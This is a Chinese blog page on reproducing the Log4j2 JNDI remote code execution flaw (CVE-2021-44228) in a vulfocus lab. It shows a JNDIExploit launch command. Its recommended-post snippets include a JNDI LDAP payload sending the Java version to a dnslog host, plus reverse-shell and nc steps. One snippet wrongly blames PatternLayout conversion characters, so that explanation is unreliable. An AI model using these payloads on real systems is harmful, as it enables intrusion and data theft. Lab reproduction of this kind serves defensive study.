Log4j2远程命令执行（CVE-2021-44228）

最新推荐文章于 2024-08-01 21:21:39 发布
最新推荐文章于 2024-08-01 21:21:39 发布
阅读量1.1k 收藏 2
点赞数 1
文章标签： java 开发语言 后端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_48817799/article/details/122680297
版权

Log4j2远程命令执行（CVE-2021-44228）

前言

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。 在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。

一、vulfocus靶场

http://vulfocus.io

二、复现步骤

1.靶场如下

11

2.点击抓包

在这里插入图片描述

启动
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 35532 -i 0.0.0.0
在这里插入图片描述
构造payload
URL编码：https://tool.chinaz.com/tools/urlencode.aspx
在这里插入图片描述

方九夜
关注
（CVE-2021-44228）Apache log4j 远程命令执行
weixin_45253622的博客
12-19 4089
漏洞简介 Apache Log4j2是一款Java日志框架，大量应用于业务系统开发。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞（CVE-2021-44228）。 Apache Log4j2远程代码执行漏洞由Lookup功能引发。Log4j2在默认情况下会开启Lookup功能，用于将特殊值添加到日志中。此功能中也支持对JNDI的Lookup，但由于Lookup对于加载的JNDI内容未做任何限制，使得攻击者可以通过JNDI注入实现远程加载恶意类到应用
Log4j2远程代码执行漏洞复现(cve-2021-44228)
热门推荐
weixin_47179815的博客
07-12 1万+
Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容Apache log4j是Apache的一个开源项目，Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架，并且引入了大量丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI组建等，被应用于业务系统开发，用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。JNDI简单介绍JNDI(Java Na
Log4j2远程命令执行(CVE-2021-44228)复现
weixin_47781572的博客
03-01 6373
漏洞说明 Log4j是Apache的开源日志记录组件。Log4j2是Log4j的升级版本，通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。 由用于 Log4j 2 提供的 lookup 功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。
log4j2远程执行代码CVE-2021-44228复现
2201_75891821的博客
07-31 272
可以看到有三个服务，看到熟悉的rmi和ldap ，实际上这个jar的作用就是帮我们生成了恶意代码类，并且生成了对应的url，然后我们就可以回到刚才的网站去进行JNDI注入 另外开启监听。上传参数 solr/admin/cores?action=${jndi:ldap://${sys:java.version}.jxmxiy.dnslog.cn 获得java版本号。发现 /solr/admin/cores?action=参数 可以上传 如下图。下载JDNI，放到攻击机，输入如下命令。开始准备反弹shell。
Apache Log4j2远程代码执行漏洞（CVE-2021-44228）复现
qq_40640917的博客
01-10 2534
Apache Log4j2 存在远程代码执行漏洞，该漏洞是由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。Apache Log4j2是一个开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中。攻击机参数：Kali（或安装有msfconsole的任意Linux/Windows操作系统）靶机容器：vulfocus/log4j2-rce-2021-12-09。靶机参数：Centos8.1。
Apache Log4j2远程代码执行漏洞复现
weixin_42345596的博客
12-10 8272
漏洞原理 log4j2版本 < log4j-2.15.0-rc2 可由JNDI注入实现远程代码执行。 影响版本 Log4j2.x<=2.14.1 漏洞复现 漏洞分析的可以参考逐日实验室的这篇：https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ 准备环境 把受影响的jar包拖进随手创建的一个java项目，这里部署jar包步骤就不写了，网上一搜傻瓜式教程都有。 攻击机环境搭建，这里我用的vps（师兄的，因为我的是Windows。）jdk版本最好&
log4j2 远程代码执行漏洞复现（CVE-2021-44228）
最新发布
2301_76631050的博客
08-01 1039
Apache Log4j：Apache的开源项目，一个功能强大的日志组件，提供方便的日志记录Apache Log4j2：对Log4j的升级，它比其前身Log4j1.x提供了重大改进，并提供了Logback中可用的许多改进，同时修复了Loqback架构中的一些问题。优秀的Java日志框架;Log4j2 漏洞受影响版本:2.0到2.14.1版本中存在一处JNDI注入漏洞。
CVE-2021-44228 Log4j2 远程代码执行漏洞
震山的博客
08-23 759
简单分析，扯不上深度，还望大佬指正
vCenter修复Apache log4j2漏洞（CVE-2021-44228, CVE-2021-45046）
qq_27248929的博客
12-21 4636
2021年12月Apache log4j远程执行漏洞影响到的VMware产品列表：VMSA-2021-0028.4 (vmware.com)。 本次我们所涉及到的产品及版本是vSphere6.7下的vCenter Server Application6.7.x，以下是加固的配置步骤： 1）首先打开vCenter的shell连接，需从控制台进入vCenter虚机进行配置操作，具体为进入排错模式，Enable shell和SSH选项； 2）打开xshell 通过SSH连接vCenter进行命令行.
vulfocus复现：Log4j2远程命令执行（CVE-2021-44228)
m0_71518346的博客
12-17 851
富的特性。该日志框架被大量用于业务Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰系统开发，用来记录日志信息。在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
Log4j2 远程代码执行漏洞（cve-2021-44228）复现（反弹shell）
Hi~ 土拨鼠
12-16 5154
文章目录1、构造EXP2、使用javac进行编译3、将.class文件放到web根目录下4、使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一个ldap的服务5、nc开启监听6、准备工作完毕，上payload7、靶场测试8、成功反弹shell 最近log4j2可谓是无人不知无人不晓，出去吹牛不知道这个还好意思说自己是做安全的嘛！今天我就来复现一下 1、构造EXP import java.io.BufferedReader; import java.io.InputStream; i
Log4j2远程命令执行（CVE-2021-44228）漏洞复现
m0_69896901的博客
10-11 179
记录复现Log4j2的过程
Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)
weixin_44047654的博客
01-09 2419
Apache Log4j2 远程代码执行漏洞< 2.15.0(CVE-2021-44228)
CVE-2021-44228 Apache Log4j 2 远程代码执行漏洞（反弹shell）
PolarPeak的博客
12-10 5328
本地复现 https://github.com/tangxiaofeng7/apache-log4j-poc log4j.java内容 import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class);
Log4j2远程代码执行漏洞（CVE-2021-44228）
wangzhifei1的博客
01-16 2504
CVE-2021-44228，被广泛称为“Log4Shell”，是一个高危的远程代码执行漏洞，影响了Apache Log4j 2，这是一个在Java应用程序中广泛使用的日志记录库。
Log4j2 远程代码执行漏洞（CVE-2021-44228）
qq_68163788的博客
06-18 1381
Apache Log4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。CVE-2021-44228是Log4j2中存在的一个严重的远程代码执行漏洞。攻击者可以通过恶意构造的日志信息，利用该漏洞执行恶意代码，从而危害受影响的系统。这个漏洞对于使用Log4j2的应用程序和系统构成了潜在的安全风险。
apache log4j2 任意代码执行漏洞(cve-2021-44228)
09-18
Apache Log4j2是一个广泛使用的开源日志管理工具。然而，最近发现了一个严重的漏洞，被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码，导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符（%d、%i、%m、%p等）被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中，并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功，攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高，因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击，包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本，更具体地说是2.15.0和2.16.0，这些版本不再处理这类模式转换字符。如果无法立即更新，可以考虑在应用程序中禁用PatternLayout布局处理器，或者使用其他日志管理框架替代Log4j2。 此外，还建议及时监测应用程序的日志活动，并对异常的日志事件进行审查。如果遇到可疑的日志事件，应立即采取行动，例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之，Apache Log4j2的CVE-2021-44228漏洞是一个严重的安全威胁，可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值